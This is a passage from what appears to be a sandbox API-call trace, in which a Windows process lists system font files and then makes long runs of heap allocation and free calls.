cAlternateFileName="MALGUN~2.TTF")) returned 1 [0063.752] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0063.752] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0063.753] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0063.753] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0063.753] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0063.753] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0063.756] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.756] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0063.759] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.759] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.760] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.760] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.761] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.761] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.762] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.762] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.762] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.763] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.763] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.764] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.764] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.765] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.765] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.766] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93c80 | out: hHeap=0x490000) returned 1 [0063.766] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.767] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.767] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.768] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.768] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.768] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.769] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.769] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.770] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.770] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.771] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.771] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.771] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.772] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3780968 | out: hHeap=0x490000) returned 1 [0063.773] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3780968 | out: hHeap=0x490000) returned 1 [0063.895] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3780968 | out: hHeap=0x490000) returned 1 [0063.926] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3780968 | out: hHeap=0x490000) returned 1 [0063.927] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3780968 | out: hHeap=0x490000) returned 1 [0063.929] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0063.935] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0063.937] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0063.937] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0063.937] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0063.937] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0063.938] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0063.938] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0063.938] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0063.940] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0063.941] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0063.941] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0063.941] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0063.942] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0063.942] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0063.942] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0063.944] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0063.945] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0063.945] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0063.963] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51af48, Size=0x4000) returned 0x3dd3a48 [0063.964] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0063.965] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.477] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.478] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.478] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.478] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.479] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.479] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0064.480] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.480] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.480] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.480] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.482] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.482] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.482] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.483] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.483] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.483] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.484] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.484] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.485] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.485] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.485] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.486] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.486] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.486] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.486] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.487] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.492] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.492] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.492] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.493] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.493] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.493] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.493] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0064.496] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd7a50 | out: hHeap=0x490000) returned 1 [0064.496] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.499] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd7a50 | out: hHeap=0x490000) returned 1 [0064.499] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.500] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.500] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.502] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x3dd3a48, Size=0x8000) returned 0x3dd3a48 [0064.503] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.504] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0064.504] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.504] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0064.505] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.505] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.505] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.511] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0064.511] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0064.511] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.512] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0064.513] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.515] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0064.515] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0064.515] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0064.925] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.925] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0064.925] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.926] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0064.926] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.927] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0064.928] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.928] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.928] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.928] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0064.929] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0064.931] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0064.931] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0064.932] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0065.402] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0065.403] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0065.404] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0065.408] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0065.412] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0065.415] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0065.421] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e0ba68 | out: hHeap=0x490000) returned 1 [0065.421] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0065.422] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e0ba68 | out: hHeap=0x490000) returned 1 [0065.425] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e0ba68 | out: hHeap=0x490000) returned 1 [0065.430] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e0ba68 | out: hHeap=0x490000) returned 1 [0065.430] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0065.433] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0065.434] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d93a28 | out: hHeap=0x490000) returned 1 [0065.436] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0065.442] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0066.011] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e0ba68 | out: hHeap=0x490000) returned 1 [0068.527] HeapFree (hHeap=0x490000, dwFlags=0x0, lpMem=0x3e0ba68) [0068.527] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e0ba68 | out: hHeap=0x490000) returned 1 [0068.529] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0068.530] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e0ba68 | out: hHeap=0x490000) returned 1 [0068.530] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0068.533] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0068.535] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0068.537] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0068.537] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0068.540] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0068.541] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0068.546] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0071.180] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0071.180] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0071.183] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba80 | out: hHeap=0x490000) returned 1 [0071.183] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba80 | out: hHeap=0x490000) returned 1 [0071.183] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba80 | out: hHeap=0x490000) returned 1 [0071.185] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba80 | out: hHeap=0x490000) returned 1 [0071.186] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0072.012] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8ba88 | out: hHeap=0x490000) returned 1 [0072.014] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8ba88 | out: hHeap=0x490000) returned 1 [0072.033] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8ba88 | out: hHeap=0x490000) returned 1 [0072.041] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8ba88 | out: hHeap=0x490000) returned 1 [0072.044] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8ba88 | out: hHeap=0x490000) returned 1 [0072.151] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba80 | out: hHeap=0x490000) returned 1 [0072.151] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba80 | out: hHeap=0x490000) returned 1 [0072.151] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba80 | out: hHeap=0x490000) returned 1 [0072.151] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba80 | out: hHeap=0x490000) returned 1 [0072.153] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba80 | out: hHeap=0x490000) returned 1 [0072.156] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.157] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.420] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.424] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.427] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.430] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.432] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.435] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.437] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.439] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.442] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.444] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.447] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.449] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.451] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.454] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.456] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.922] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0072.925] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0072.926] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0072.928] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0072.930] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0072.931] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0072.933] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0072.935] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0072.936] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0072.938] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0072.939] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0072.941] 